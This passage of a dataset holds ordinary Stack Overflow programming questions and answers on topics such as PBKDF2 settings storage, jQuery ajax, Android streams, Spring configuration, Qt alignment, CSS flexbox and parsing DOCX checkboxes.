&lt;/p:confirmDialog&gt; </code></pre> <p></p>
25395651	0	Storing PBKDF2 Settings Alongside Password <p>I'm experimenting with PBKDF2 for my passwords right now, and it dawned on me that if I were to ever upgrade to a faster machine in the future, I would want to increase the number of PBKDF2 iterations. However, this would invalidate all the current passwords that I have stored. One idea I've seen was to store the PBKDF2 settings along with the password (similar to how you store the salt) such as the iteration count and the PRF used (SHA-256, SHA-512) at the time of the hash creation. It sounds like a good idea in terms of backwards compatibility, but I wanted to know if there are any drawbacks to doing this. Any insight into this would be appreciated.</p>
33466149	0	 <p>You are using <a href="http://stackoverflow.com/q/3602827/560648">integer division</a>, so your series converges really, really quickly.</p> <p>Make <code>s</code> and <code>a</code> be <code>double</code>s, and replace <code>4</code> with <code>4.0</code>.</p>
10069415	0	 <p>The success function is a callback; it's designed to be called AFTER a response has been received. How could you determine success or error if it was called before the server thread execution had completed? The call to Sleep suspends the current server thread, so of course your response is going to take five seconds to come back.</p> <p>The asynchronous part would apply to Javascript code that directly follows your ajax post. For example:</p> <pre><code>&lt;script language="javascript"&gt; $(function() { var tempParam = { ttid: 100 }; var param = $.toJSON(tempParam); $.ajax({ type: "POST", url: "testservice.aspx/sampleService", data: param, contentType: "application/json; charset=utf-8", dataType: "json", async: true, error: function() { alert("Error"); }, success: function(msg) { alert("Success") alert(msg.d) } }); alert('This alert is asynchronous! We do not know yet if the ajax call will be successful because the server thread is still sleeping.'); });​ &lt;/script&gt; </code></pre>
20341420	0	Whats the meaning of this" vector(vector'HIGH)='1'"? <p>I know 'HIGH its a data attribute, that return the upper array index, but the vector out side the parentheses i dont get it. Its the same as vector'HIGH??</p> <p>Tell me if someone need more info or something</p>
30203867	0	Prevent intermediate compass file output when piping <p>I'm using <code>gulp-compass</code> to compile scss files. However, I'm concatenating output into a single file.</p> <p>This all works fine, but I'm noticing that compass itself is writing the individual files to the output directory.</p> <p>I'm left with the individual files, as well as the concatenated result.</p> <p>Is there any way to prevent that intermediate output?</p> <pre><code>gulp.task('compass:dev', function() { return gulp.src(appPath + '/**/*.scss') .pipe(plugins.compass({ css: distPath + '/css', sass: appPath })) .pipe(plugins.concat('app.css')) .pipe(gulp.dest(distPath + '/css')); }); </code></pre>
1518073	0	Embed pdb into assembly <p>I want my application to be distributable as a <em>single .exe file</em> but I want to be able to get nice error reports with source code line numbers (the application simply sends email with <code>exception.ToString()</code> and some additional information when unhandled exception occurs).</p> <p>Is there any way to embed .pdb into assembly?</p>
27909981	0	 <p>In case you really want to use Streams,</p> <p>Inside your onClick method for your save button, you want to call this:</p> <pre><code>try { FileOutputStream fos = getApplicationContext().openFileOutput("file_name.txt", Context.MODE_PRIVATE); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); } catch(Exception e) { //handle exceptions } </code></pre> <p>which will save whatever you defined in obj to a file named "file_name.txt".</p> <p>To read obj back from this textfile, you can call:</p> <pre><code>try { FileInputStream fis = getApplicationContext().openFileInput("file_name.txt"); ObjectInputStream is = new ObjectInputStream(fis); my_obj = (MyObject) is.readObject(); is.close(); } catch(Exception e) { //handle exceptions } </code></pre>
27615170	0	Transfering data from textbox to 2D Array <p>I am a new in C sharp and a little stupid, I have a problem with my project, hope you can help me!</p> <p>Suppose I have a textbox1 as follow (n rows x n columns):</p> <pre><code>0 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 </code></pre> <p>Now I want to transfer data from this text box into an existed 2d Matrix that will store data in Integer Type.</p> <p>I tried this but it seem to not works:</p> <pre><code>private void GETNUMERICDATA() { string txt = textbox1.text; txt = txt.Replace(" ", string.Empty); for (int k = 0; k &lt; 32; k++) { for (int l = 0; l &lt; 32; l++) { for (int i = 0; i &lt; txt.Length; i++) { char chr = txt[i]; if (chr == '0') { Matrix[k, l] = (int)char.GetNumericValue('0'); } else { if (chr == '1') Matrix[k, l] = (int)char.GetNumericValue('1'); } } } } } </code></pre> <p>Anybody can help me how to do it? All your support would be highly appreciated.</p>
18675015	0	org.springframework.beans.factory.NoSuchBeanDefinitionException exception in UNIX <p>I have my java spring standalone project which works fine in windows but when I create jar file and executes that jar file by using shell script, it gives me <code>org.springframework.beans.factory.NoSuchBeanDefinitionException</code>. It seems that in unix it is unable to load the beans and unable to do component scan.</p> <p>I have application contex file as below:</p> <pre><code>&lt;context:annotation-config /&gt; &lt;context:component-scan base-package="com.ubs.lazar" /&gt; &lt;context:property-placeholder location="oracle.properties" /&gt; &lt;bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"&gt; &lt;property name="driverClassName" value="${batch.jdbc.driver}" /&gt; &lt;property name="url" value="${batch.jdbc.url}" /&gt; &lt;property name="username" value="${batch.jdbc.user}" /&gt; &lt;property name="password" value="${batch.jdbc.password}" /&gt; &lt;/bean&gt; &lt;bean id="daoFactory" class="com.ubs.mzq.xen.db.XenDaoFactory"&gt; &lt;property name="databaseName" value="oracle" /&gt; &lt;property name="dataSource" ref="dataSource" /&gt; &lt;/bean&gt; &lt;tx:annotation-driven/&gt; </code></pre> <p>And I am invoking and load the configuration from java as below:</p> <pre><code>ApplicationContext context = new ClassPathXmlApplicationContext("classpath*:META-INF/application-context.xml"); AwardEventService awardEventService = (AwardEventService) context.getBean("awardEventServiceImpl"); </code></pre> <p>Can you please somebody helps to how to overcome this issue in UNIX.</p> <p>Thanks</p>
40999263	0	File Uploading with AJAX fails <p>I'm trying to test a file upload method with a simple HTML test page.</p> <p>The page is simply supposed to take a document's id, the document itself, package it up into form data and send it off to the server(with a token for authentication).</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt; &lt;div&gt; &lt;h4&gt;Id&lt;/h4&gt; &lt;input typ"text" id="Id" /&gt; &lt;h4&gt;token&lt;/h4&gt; &lt;input typ"text" id="token" /&gt; &lt;br /&gt; &lt;br /&gt; &lt;input type="file" id="upload" name="userFile" multiple/&gt; &lt;input type="submit" id="submit" /&gt; &lt;/div&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"&gt; &lt;/script&gt; &lt;script&gt; let token,id,idName, fileSelect,data; function uploadFiles(data) { if (data) { $.ajax({ url: "http://uploaddomain.com/uploadMethod", type: "POST", data: data, processData: false, contentType: false, headers: { "Authorization" : 'Bearer%20' + token, "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" }, success: function (res) { console.log('success',res) }, error: function (err) { console.log('err',err) } }); } } } $( "#submit" ).click(function() { var fileSelect = document.getElementById('upload'); let file = fileSelect.files[0]; id = $("#Id").val(); token = $("#token").val(); idName = "Id"; var uploadButton = document.getElementById('upload-button'); data = new FormData(); data.append(idName, id ); data.append("fileUpload", file ); uploadFiles(data); }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>The error from the API is code 400, {"Message":"File not found in Request"}"</p> <p>Any suggestions on what I'm doing wrong?</p>
23074301	0	How to assign a big stream bit into one column vector <p>I have a large bit stream. (e.g. 10110001010101000.....001 size thousands or millions)</p> <p>I want to assign this bit stream into a one column vector x.</p> <pre><code> x = zeros(n,1); </code></pre> <p>I have tried to use some mod or rem operations, there will have some problems. </p> <p>I guess it caused by the integer size.</p> <p>I want to ask is there any good method to solve this problem? </p> <p>Thanks for reading.</p>
850722	0	 <p>Inside of your NSView's .m. Obviously you might want to hook this up to a UI or something.</p> <pre><code>- (void)awakeFromNib { // Have to wait for the window to be onscreen, graphics context ready, etc [NSTimer scheduledTimerWithTimeInterval:1.0 target:self selector:@selector(timerFired:) userInfo:NULL repeats:NO]; } - (void)timerFired:(NSTimer *)aTimer { [self lockFocus]; NSDate* then = [NSDate date]; int callIdx = 0; for( callIdx = 0; callIdx &lt; 1000; callIdx++ ) { [self drawRect:[self bounds]]; } NSDate* now = [NSDate date]; [self unlockFocus]; NSLog(@"Took %f seconds", [now timeIntervalSinceDate:then]); } - (void)drawRect:(NSRect)rect { [[NSColor redColor] set]; NSRectFill(rect); } </code></pre>
15765045	0	 <p>This is not a good idea. First off Apple would not allow the two different applications and even if they did there is nothing stopping an iPhone 4 user from downloading your iPhone 5 Version or visa versa. The best way to go about handling the differences between sizes is either through the nib /storyboard or programmatically within a single application. </p>
31483321	0	 <p>You could also set the image to <code>display: block</code> and add <code>padding</code>, if it does not mess with your layout.</p>
8730567	0	 <p>Instead of pulling back a 1000 rows of data, why not make 2 sql calls? One to query for the first record:</p> <pre><code>SELECT id FROM (SELECT id FROM `table` LIMIT 0, 1000) tmp ORDER BY id LIMIT 1 </code></pre> <p>And one for the second:</p> <pre><code>SELECT id FROM (SELECT id FROM `table` LIMIT 0, 1000) tmp ORDER BY id DESC LIMIT 1 </code></pre>
35752123	0	Can two or more classes send data to the same IntentService? <p>I'm a beginner in Android programming, and I was reading about handling time consuming operations via IntentServices. However, I have this doubt - </p> <p>Can I have two classes (say A and B) issuing a call to the same class (C) extending the IntentService? Is this possible and/or safe?</p> <p>If so, how do I help the IntentService differentiate between the two calling classes?</p> <p>I was thinking of this way:</p> <pre><code>public class DoSomething extends IntentService{ @Override public void onHandleIntent(Intent intent){ Bundle data = intent.getExtras(); String type = data.getString("TagForClass"); if(type.equals("TagForClassA")){ //Do operations for Class A } else if(type.equals("TagForClassB")){ //Do operations for Class B } } } </code></pre> <p>Will this method work?</p>
1619982	0	 <p>Fire up firebug and see if you're actually getting Javascript sent down the wire. Is there a 404 or 500 whooshing by? Or is code loading correctly? Is your event handler being called? Add a <code>console.log</code> or <code>alert</code> to your handler to test. Is your handler even being attached? Did you put the whole thing in a <code>$(document).ready()</code>? Did you put your script after the <code>jquery.js</code> file, so that jQuery is available when your script attaches event handlers? In general, you know, do that debugging thing we all love so much.</p>
15976195	0	 <p>This is my OK code in QT 4.7:</p> <pre><code> //add combobox list QString val; ui-&gt;startPage-&gt;clear(); val = "http://www.work4blue.com"; ui-&gt;startPage-&gt;addItem(tr("Navigation page"),QVariant::fromValue(val)); val = "https://www.google.com"; ui-&gt;startPage-&gt;addItem("www.google.com",QVariant::fromValue(val)); val = "www.twitter.com"; ui-&gt;startPage-&gt;addItem("www.twitter.com",QVariant::fromValue(val)); val = "https://www.youtube.com"; ui-&gt;startPage-&gt;addItem("www.youtube.com",QVariant::fromValue(val)); // get current value qDebug() &lt;&lt; "current value"&lt;&lt; ui-&gt;startPage-&gt;itemData(ui-&gt;startPage-&gt;currentIndex()).toString(); </code></pre>
13636395	0	 <p>Sometimes the element you are trying to find is loading, s0 will throw an exception using <pre> <code> <code>findElement(By.xpath(xpathLocator))</code> </code> </pre></p> <p>Therefore we would need do what Dejan Veternik has recommended, it will help wait until the ELEMENT has been loaded in the webpage, I am passing Selenium and extracting webdriver, this is helpful incase you are using WebDriverBackedSelenium just like me ...</p> <pre><code> private boolean isElementPresent(WebDriverBackedSelenium driver, String id) { try { driver.getWrappedDriver().findElement(By.id(id)); return true; } catch (Exception e) { return false; } } </code> </pre>
25003429	1	Python module installed 2.7 absent in 3.4, Mac Mavericks <p>I searched, but could not find this same issue answered elsewhere.</p> <p>I installed xlwt using easy_install. 'python' typed into the terminal defaults to opening 2.7. I'd like to change this, but it's not my question, since for now I can run python3.4 to get the newer version I installed.</p> <p>After using easy_install xlwt, xlwt will import into the python 2.7 interpreter/shell, but not the python 3.4 interpreter/shell.</p> <p>How do I add it to 3.4?</p> <p>Thank you.</p>
12563124	0	Sending apps to other devices <p>How can I share my app with friends? I created my app in eclipse and can run the app on my device but how can I share it without adding it to the play market?</p>
11761122	0	 <pre><code>from o in dc.Orders group o by new { o.Product.ProdName, o.Size.Size } into g select new { g.Key.ProdName, g.Key.Size, Total = g.Sum(or =&gt; or.Qty))}; </code></pre>
38943954	0	 <p>If you want to return two values, return a <code>std::vector</code> with them. Maybe a <code>std::pair</code>, or a class. As far as why, this is just how C++ works. Comma is just an operator, like + or -. It discards its left operand and returns the right one. <code>return</code> returns the value of its expression from the function. The rest you can figure out yourself.</p>
6545055	0	 <p>You can use the <code>RowCommand</code> instead, like..</p> <pre><code> protected void cgvProjectPropertyList_RowCommand(object sender, GridViewCommandEventArgs e) { if (e.CommandName == "Delete") { e.CommandArgument // will Return current Row primary key value, rather row Index } } </code></pre> <p>and you need to make sure to register the event in the GridView <code>OnRowCommand="cgvProjectPropertyList_RowCommand"</code></p>
9295533	0	 <p>You need define your post contain some file inside with multipart HTML tag</p> <pre><code>&lt;%= semantic_form_for @imgD, :html =&gt; { :multipart =&gt; true } do |form| %&gt; &lt;%= form.input :img%&gt; &lt;%= form.actions %&gt; &lt;%end%&gt; </code></pre>
25855210	0	 <p>As documentation said:</p> <pre><code>void QTextEdit::setAlignment(Qt::Alignment a) [slot] </code></pre> <p>Sets the alignment of the current paragraph to <code>a</code>. Valid alignments are <code>Qt::AlignLeft</code>, <code>Qt::AlignRight</code>, <code>Qt::AlignJustify</code> and <code>Qt::AlignCenter</code> (which centers horizontally).</p> <p>Link: <a href="http://qt-project.org/doc/qt-5/qtextedit.html#setAlignment" rel="nofollow noreferrer">http://qt-project.org/doc/qt-5/qtextedit.html#setAlignment</a></p> <p>So as you can see you should provide some alignment to each paragraph.</p> <p>Little example:</p> <pre><code>QTextCursor cursor = ui-&gt;textEdit-&gt;textCursor(); QTextBlockFormat textBlockFormat = cursor.blockFormat(); textBlockFormat.setAlignment(Qt::AlignRight);//or another alignment cursor.mergeBlockFormat(textBlockFormat); ui-&gt;textEdit-&gt;setTextCursor(cursor); </code></pre> <p>Which result I get on my computer?</p> <p><img src="https://i.stack.imgur.com/OSTXx.png" alt="enter image description here"></p> <p>Or something closer to your question:</p> <pre><code>ui-&gt;textEdit-&gt;clear(); ui-&gt;textEdit-&gt;append("example"); ui-&gt;textEdit-&gt;append("example"); QTextCursor cursor = ui-&gt;textEdit-&gt;textCursor(); QTextBlockFormat textBlockFormat = cursor.blockFormat(); textBlockFormat.setAlignment(Qt::AlignRight); cursor.mergeBlockFormat(textBlockFormat); ui-&gt;textEdit-&gt;setTextCursor(cursor); ui-&gt;textEdit-&gt;append("example"); cursor = ui-&gt;textEdit-&gt;textCursor(); textBlockFormat = cursor.blockFormat(); textBlockFormat.setAlignment(Qt::AlignCenter); cursor.mergeBlockFormat(textBlockFormat); ui-&gt;textEdit-&gt;setTextCursor(cursor); </code></pre> <p>Result:</p> <p><img src="https://i.stack.imgur.com/4SE5t.png" alt="enter image description here"></p>
36039610	0	 <p><a href="https://developer.wordpress.org/reference/functions/has_post_thumbnail/" rel="nofollow"><code>has_post_thumbnail()</code></a> takes an optional parameter of <code>$post</code>, which can be a post ID or a WP_Post object.</p> <p>The default is the global <code>$post</code> object. You need to pass the post ID to tell WordPress to check the recent post in your loop instead of the global <code>$post</code> object. Like this:</p> <pre><code>if ( has_post_thumbnail( $recent['ID'] ) ) { $photo = get_the_post_thumbnail( $recent['ID'], 'large' ); echo '&lt;div class="section1-2singlephoto"&gt;' . $photo . '&lt;/div&gt;'; } else { echo 'no Thumbnail'; } </code></pre>
17200611	0	 <p>I just typed this up and works perfect here</p> <p><strong>Animation</strong></p> <pre><code>public class ResizeWidthAnimation extends Animation { private int mWidth; private int mStartWidth; private View mView; public ResizeWidthAnimation(View view, int width) { mView = view; mWidth = width; mStartWidth = view.getWidth(); } @Override protected void applyTransformation(float interpolatedTime, Transformation t) { int newWidth = mStartWidth + (int) ((mWidth - mStartWidth) * interpolatedTime); mView.getLayoutParams().width = newWidth; mView.requestLayout(); } @Override public void initialize(int width, int height, int parentWidth, int parentHeight) { super.initialize(width, height, parentWidth, parentHeight); } @Override public boolean willChangeBounds() { return true; } } </code></pre> <p><strong>usage</strong></p> <pre><code>if(animate) { ResizeWidthAnimation anim = new ResizeWidthAnimation(leftFrame, leftFragmentWidthPx); anim.setDuration(500); leftFrame.startAnimation(anim); } else { this.leftFragmentWidthPx = leftFragmentWidthPx; LayoutParams lp = (LayoutParams) leftFrame.getLayoutParams(); lp.width = leftFragmentWidthPx; leftFrame.setLayoutParams(lp); } </code></pre>
27146581	0	 <pre><code>if(is_array($variable) &amp;&amp; count($variable) &gt; 0) { foreach($variable as $key =&gt; $value) { //Your code } ) </code></pre>
2091157	0	 <p>I don't think there's any Python-specific limits. UDP packets have a theoretical limit of circa 65kb and TCP no upper limit, but you'll have flow control problems if you use packets much more than a few kilobytes.</p>
30258295	0	Is my HTTP protocol design correctly implemented in the coding? <p>It's my very simple client-server application. Client sends some commands to the server and server gives back the output to the client. However, my special concern is about the <code>GET</code> command sent to the server. The client request <code>GET filename</code> to download a named file. That file ultimately gets downloaded into the client directory with the HTTP response headers, as I have designed my protocol.</p> <p>Now I am afraid if my coding follows the protocol accurately. Especially the HTTP response headers with the Line break (in both client and server side).</p> <p>PROTOCOL DESIGN:</p> <p>Client:</p> <pre><code>syntax: GET namedfile CRLF CRLF meaning: downloading the named file from the server representation: text file </code></pre> <p>server:</p> <pre><code>syntax: Status: ok CRLF Length: 20 bytes CRLF CRLF File contents meaning: The file exist in the server and ready to download representation: text file </code></pre> <p>CODE:</p> <p>ServerSide:</p> <pre><code> ................. ................. else if (request.startsWith("GET")) { System.out.println(""); String filename = request.substring(4); File file = new File(System.getProperty("user.dir")); File[] files = file.listFiles(); if (fileExists(files, filename)) { file = new File(filename); int fileSize = (int) file.length(); outputToClient.print("Status OK\r\n" + "Size " + fileSize + "KB" + "\r\n" + "\r\n" + "File " + filename + " Download was successfully\r\n"); outputToClient.flush(); // reading files fis = new FileInputStream(file); os = socket.getOutputStream(); byte[] buffer = new byte[2^7-1]; int bytesRead = 0; while ((bytesRead = fis.read(buffer))!= -1) { os.write(buffer, 0, bytesRead); } os.close(); fis.close(); } else { outputToClient.print("Status 400\r\n" + "File " + filename + " not found\r\n" + "\r\n"); outputToClient.flush(); } } outputToClient.flush(); } ................. ................. </code></pre> <p>ClientSide:</p> <pre><code> ............ ............ if (request.startsWith("GET")) { File file = new File(request.substring(4)); is = socket.getInputStream(); fos = new FileOutputStream(file); byte[] buffer = new byte[socket.getReceiveBufferSize()]; int bytesReceived = 0; while ((bytesReceived = is.read(buffer)) &gt;=0) { //while ((bytesReceived = is.read(buffer))&gt;=buffer) { fos.write(buffer, 0, bytesReceived); } request = ""; fos.close(); is.close(); } ................. ................. </code></pre>
19470436	0	 <p>The PID is</p> <pre><code>PID := DWORD(List.Objects[Index]); </code></pre> <p>Where Index is the index of the item of interest.</p>
23657120	0	argument getting truncated while printing in unix after merging files <p>I am trying to combine two tab seperated text files but one of the fields is being truncated by awk when I use the command (pls suggest something other than awk if it is easier to do so)</p> <pre><code>pr -m -t test_v1 test.predict | awk -v OFS='\t' '{print $4,$5,$7}' &gt; out_test8 </code></pre> <p>The format of the test_v1 is</p> <pre><code>478 192 46 10203853138191712 </code></pre> <p>but I only print 10203853138 for $4 truncating the other digits. Should I use string format? Actually I found out after a suggestion given that pr -m -t itself does not give the correct output</p> <pre><code>478^I192^I46^I10203853138^I^I is the output of the command pr -m -t test_v1 test.predict | cat -vte </code></pre> <p>I used paste test_v1 test.predict instead of pr and got the right answer.</p>
40288900	0	2 flexbox columns side by side, both with fluid height, with one never exceeding the height of the other <p>I'm using flexbox to show two <code>&lt;div&gt;</code>s side by side. One has a video and the other has text. Neither <code>&lt;div&gt;</code> has a fixed height. I want the text div to never be taller than the video div. If the text div would naturally be taller than the video div then I want the text div to have a vertical scrollbar. How can I do this? I've tried adding <code>overflow-y: auto</code> to the text div, but that didn't work. Here is a demo of the problem:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>* { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } body { margin: 0; background-color: #ddd; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; line-height: 1.42857143; } .wrapper { display: flex; flex-wrap: wrap; } .video, .text { padding: 10px; } .video { position: relative; width: 75%; background-color: #999; } .text { width: 25%; background-color: #bbb; } @media (max-width: 767px) { .video, .text { width: 100%; } } .red { position: absolute; top: 10px; right: 10px; bottom: 10px; left: 10px; background-color: red; } /* From embedresponsively.com */ .embed-container { position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; max-width: 100%; } .embed-container iframe, .embed-container object, .embed-container embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="wrapper"&gt; &lt;div class="video"&gt; &lt;div class="red"&gt;&lt;/div&gt; &lt;div class="embed-container"&gt;&lt;iframe src="http://www.youtube.com/embed/QILiHiTD3uc" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="text"&gt; &lt;p&gt; When you change the width of your browser window, the video's dimensions will change. &lt;/p&gt; &lt;p&gt; I want the height of this text div to never exceed the height of the video. It should have a vertical scrollbar instead. &lt;/p&gt; &lt;p&gt; For testing purposes, I have created the &lt;code&gt;div.red&lt;/code&gt; element. Currently, it is possible to expose this div by resizing your browser window (you will see red below the video). I want to make it so that exposing the &lt;code&gt;div.red&lt;/code&gt; element is not possible. I want this text div to have a vertical scrollbar instead. &lt;/p&gt; &lt;p&gt; Note that you need to have your browser window at least 768px wide in order for the video div and text div to be side by side. &lt;/p&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
38632018	0	 <p>Regarding the blank-page issue: You're just processing, not outputting anything. You could simply post a redirect-header at the end - possibly according to errors occuring or not.</p> <pre><code>// 307 Temporary Redirect header("Location: /foo.php",TRUE,307); </code></pre> <p>..or just output stuff after processing. A good practice might be to keep processing and the form-display in one file - then you could pre-populate the form with the fields that did not produce errors and mark those that failed so the user can try again.</p> <p>Regarding the checkbox-group issue:</p> <pre><code>echo implode( ", ", $_POST['checkbox-group'] ); </code></pre> <p>to prove to yourself you actually got something passed along:</p> <pre><code>header("Content-type:text/plain;charset=utf-8"); echo print_r($_POST,TRUE); </code></pre>
39606139	0	 <pre><code>canvas = this.transform.FindChild ("HealthCanvas").gameObject; hb = canvas.transform.FindChild ("HealthBar").gameObject; </code></pre>
2394923	0	rails retrieving button_to parameter in the controller <p>I iterate over an array of CartItem class I created and populate a view file. </p> <pre><code>&lt;td&gt;&lt;%= button_to "remove", :action =&gt; :remove_from_cart, :id =&gt; cart_item %&gt;&lt;/td&gt; </code></pre> <p>I would like to be able to get a CartItem instance from params[:id] in the remove_from_cart. <code>param[:id]</code> returns something like <code>"#&lt;CartItem:0xb77a3dcc&gt;":String</code> and i could not figure out how to treat it like a CartItem object. </p> <p>I know the code above works for objects descending from ActiveRecord::Base, and CartItem does not descend from it. I am guessing that might be the reason.</p> <p>any pointers would be much appreciated, thanks</p>
38728967	0	 <p>Your code is actually SCSS, not SASS. </p> <p>To make it work as SASS, you need to get rid of curly braces, semi-colons and add some spaces. </p> <p>Here's the corrected code: </p> <pre><code>@each $flag in USA, EUR, JPN a.#{$flag} display:inline-block overflow:hidden width: 0 height: 11px padding-left: 16px background: url('http://res.cloudinary.com/mrengy/image/upload/v1470163121/#{$flag}.gif') no-repeat </code></pre> <p><a href="https://codepen.io/vic3685/pen/akaEyo?editors=1100" rel="nofollow">https://codepen.io/vic3685/pen/akaEyo?editors=1100</a></p>
3148215	0	 <p>Try cleaning up your code a bit, there are a few missing semicolons (<a href="http://www.jslint.com/" rel="nofollow noreferrer">http://www.jslint.com/</a>).</p> <p>I worked with extjs some time ago, and had the same problem with a window rendering in Firefox and not in IE. Maybe IE's JS engine is more sensitive to syntactical errors.</p>
30748674	0	 <p>Apparently, you need to download the Gear Fir Manager from apps.samsung.com/gearfit not from the samsung app store. The Samsung app store version does not work, you need to download the latest gear app from the website, gd luck</p>
15185051	0	 <p>Perhaps use an explicit local redirect:</p> <pre><code>read answer &lt; /dev/tty </code></pre>
29433031	0	 <p>If the possible duplicate doesn't fulfil your needs here's a way to do it - <a href="http://plnkr.co/edit/E7vYgBPwd1sBeObEl2vd?p=preview" rel="nofollow">Plunker</a>.</p> <p>JS</p> <pre><code>app = angular.module("app", []); app.directive("test", [ function() { return { restrict: "E", template: "&lt;div ng-repeat='item in ts.items track by $index' ng-init='ts.blah($index, $last)'&gt;{{$index}}&lt;/div&gt;", scope: {}, controllerAs: "ts", bindToController: true, controller:function() { var ts = this; ts.items = [0, 1, 2, 3, 4]; ts.blah = function(index, last) { console.log(index, last); if (last) { // Do your stuff } } } } }]); </code></pre> <p>Markup</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js"&gt;&lt;/script&gt; &lt;link rel="stylesheet" href="style.css"&gt; &lt;script src="script.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body ng-app="app"&gt; &lt;test&gt;&lt;/test&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>The output from the console is:</p> <blockquote> <p>0 false <br> 1 false <br> 2 false <br> 3 false <br> 4 true</p> </blockquote> <p>so you should (in theory) be able to rely on the last repeat element being created last.</p>
20581545	0	Best Elliptical Fit for irregular shapes in an image <p>I have an image with arbitrary regions shape (say objects), let's assume the background pixels are labeled as zeros whereas any object has a unique label (pixels of object 1 are labeled as 1, object 2 pixels are labeled as 2,...). Now for every object, I need to find the best elliptical fit of its pixels. This requires finding the center of the object, the major and minor axis, and the rotation angle. How can I find these?</p> <p>Thank you;</p>
33571948	0	 <p>In your local copy of the repo, edit <code>progressbar/__init__.py</code> and change the following line:</p> <pre><code>__version__ = '2.3dev' </code></pre> <p>to</p> <pre><code>__version__ = '2.3.1' </code></pre> <p>Save the file, then reinstall with <code>pip</code>. Of course, without a pull request, this will only work locally for you.</p> <hr> <p>Another option is to use the much more up-to-date <a href="https://pypi.python.org/pypi/progressbar2" rel="nofollow"><code>progressbar2</code></a>, on Github <a href="https://github.com/WoLpH/python-progressbar" rel="nofollow">here</a>. It has been validated to work up to Python 3.5. Obviously, you'll have to test your code to ensure it works with the new version, but this is probably your best bet.</p>
33828036	1	select checkbox tag python <p>If have a XML document like this :</p> <pre><code>&lt;!-- Location --&gt; &lt;w:t&gt;Lokacioni:&lt;/w:t&gt; &lt;w:t&gt;Kucni:&lt;/w:t&gt; &lt;w:t&gt;Extension:&lt;/w:t&gt; &lt;w:t&gt;Hajvali –Prishtinë&lt;/w:t&gt; &lt;w:t&gt;Rr. “ Dëshmorët e Gollakut “&lt;/w:t&gt; &lt;w:t&gt;P. N. Prishtinë&lt;/w:t&gt; &lt;!-- Date --&gt; &lt;w:t&gt;Dat:&lt;/w:t&gt; &lt;w:t&gt;Datum:&lt;/w:t&gt; &lt;w:t&gt;Date:&lt;/w:t&gt; &lt;w:t xml:space="preserve"&gt; &lt;/w:t&gt; &lt;!-- Free text - contains time and description--&gt; &lt;w:t&gt;1.&lt;/w:t&gt;&lt;w:t&gt;08:05 Aksident trafiku me dëme materiale Audi dhe Kombi te Kisha Graqanic&lt;/w:t&gt; &lt;!-- Checkboxes - 1 means it is checked --&gt; &lt;w:t&gt;Informuar:PK&lt;/w:t&gt;&lt;w:checkBox&gt;&lt;w:sizeAuto/&gt;&lt;w:default w:val="1"/&gt;&lt;/w:checkBox&gt; &lt;w:t&gt;SHME&lt;/w:t&gt;&lt;w:checkBox&gt;&lt;w:sizeAuto/&gt;&lt;w:default w:val="0"/&gt;&lt;/w:checkBox&gt; &lt;w:t&gt;SHZSH&lt;/w:t&gt;&lt;w:checkBox&gt;&lt;w:sizeAuto/&gt;&lt;w:default w:val="0"/&gt;&lt;/w:checkBox&gt; &lt;w:t&gt;,Shërbimet tjera&lt;/w:t&gt;&lt;w:checkBox&gt;&lt;w:sizeAuto/&gt;&lt;w:default w:val="0"/&gt;&lt;/w:checkBox&gt; </code></pre> <p>In python I want to select values from that xml that is generated from a .docx document, that contain checkbox. I wrote code like this:</p> <pre><code>WordNameSpace = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}' para_tag = WordNameSpace + 'p' text_tag = WordNameSpace + 't' checkBox_tag = WordNameSpace + 'checkBox' def get_docx_text(path): document = zipfile.ZipFile(path) xml_content = document.read('word/document.xml') document.close() tree = XML(xml_content) paragraphs = [] for paragraph in tree.getiterator(checkBox_tag): texts = [node.text for node in paragraph.getiterator(text_tag) if node.text] if texts: paragraphs.append(''.join(texts)) return paragraphs results = get_docx_text('test.docx') print results </code></pre> <p>when i print results variable, result is only <code>[]</code> ? Why is this happening?</p>
5477261	0	Specific CSS Font Style <p>quick question, I'm currently trying to style a font to resemble the letters pictured below. Before I proceed any further I just wanted to be sure there wasn't already a standard, web-safe, font that resembles these letters. I'm not familiar with font design terminology, so I'm not sure what the technical description of the letters below would be. Thanks much.</p> <p><img src="https://i.stack.imgur.com/e6CXL.png" alt="enter image description here"></p>
27050144	0	In the TCX format, how is a trackpoint marked as paused? <p>During an exercise, Garmin allows you to pause recording so that your split times and pace are not affected. How are these paused periods represented in the TCX format? I've looked through the TCX <a href="http://www8.garmin.com/xmlschemas/TrainingCenterDatabasev2.xsd" rel="nofollow">schema</a>, but did not find an obvious answer.</p>
40176279	0	 <p>So in looking at this I guess I my approach was wrong. I assert that body contains an array of objects. Then access that object and verify that way. I also had the wrong understanding of <code>.property()</code>, the returned value was an object, not the values of the property.</p>
